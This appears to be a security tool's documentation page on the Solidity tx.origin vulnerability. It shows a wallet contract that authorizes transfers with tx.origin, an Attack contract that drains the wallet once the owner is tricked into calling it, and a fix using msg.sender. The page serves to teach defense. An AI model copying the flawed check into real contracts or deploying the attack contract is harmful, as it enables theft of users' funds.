• YouTube Channel
  • System Status
  • VS Code Extension
  • Use of tx.origin

    Overview

    What is the Any tx.origin vulnerability?

    The Solidity language offers a number of special objects with properties specific to the context of execution within the Ethereum Virtual Machine (EVM), including properties of messages, blocks, and transactions. Among the latter, the tx.origin property gives the address of the originating call in a chain of calls, as opposed to msg.sender which gives the directly-preceding caller's address. Because of the possibility of call redirection, uses of tx.origin are generally considered potentially risky, particularly if they are ever used for authorization purposes. In general, it is preferred to use msg.sender where logic permits.

    Further reading: Solidity Documentation: Block and Transaction Properties

    Technical example of vulnerable code

      // SPDX-License-Identifier: Unlicense
      pragma solidity ^0.8.0;
    
      contract SimpleWallet {
          address public owner;
    
          constructor(address _owner) {
              owner = _owner;
          }
    
          function deposit() external payable {}
    
          function sendToAddress(address destination, uint256 amount) external {
              if (tx.origin != owner) {
                  revert("Unauthorized");
              }
    
              payable(destination).transfer(amount);
          }
    
          // Helper function to check the contract's Ether balance
          function getBalance() public view returns (uint256) {
              return address(this).balance;
          }
    
          // Other functionality omitted for brevity
      }
    
      contract Attack {
          SimpleWallet public vulnerableWallet;
    
          constructor(address _vulnerableWalletAddress) {
              vulnerableWallet = SimpleWallet(_vulnerableWalletAddress);
          }
    
          // This function is called by the owner of the vulnerable wallet, either directly or through phishing.
          function exploit(uint256 amount) public {
              // Calls the vulnerable contract's withdraw function. Since the vulnerable contract checks tx.origin,
              // which would still be the owner of the wallet, this check passes, allowing the withdrawal.
              vulnerableWallet.sendToAddress(address(this), amount);
    
              // Ether is sent to this contract. Implement logic here to forward it to attacker's address.
          }
    
          // Receive function to accept Ether from the vulnerable wallet.
          receive() external payable {}
    
          // Functionality to extract the stolen funds omitted for brevity
      }
    
    

    In the above example, contract SimpleWallet implements basic functionality for ether management for a single owner. It provides a function sendToAddress() which is intended to allow only the owner to send some of the contract's ether balance to a target, but it uses tx.origin to manage the authorization for such transfers. As a result, if the author of the Attack contract can trick the owner into calling the exploit() function, the attacker can send the wallet's ether to themselves.

    Technical example of how to fix the vulnerability

      // SPDX-License-Identifier: Unlicense
      pragma solidity ^0.8.0;
    
      contract SimpleWalletUpdated {
          address public owner;
    
          constructor(address _owner) {
              owner = _owner;
          }
    
          function deposit() external payable {}
    
          function sendToAddress(address destination, uint256 amount) external {
              if (msg.sender != owner) {
                  revert("Unauthorized");
              }
    
              payable(destination).transfer(amount);
          }
    
          // Helper function to check the contract's Ether balance
          function getBalance() public view returns (uint256) {
              return address(this).balance;
          }
      }
    
    

    In the revised example, contract SimpleWalletUpdated now uses the msg.sender property to authorize transfers made by the sendToAddress() function, avoiding the possible exploit due to redirection of a call where the tx.origin value was the owner's address.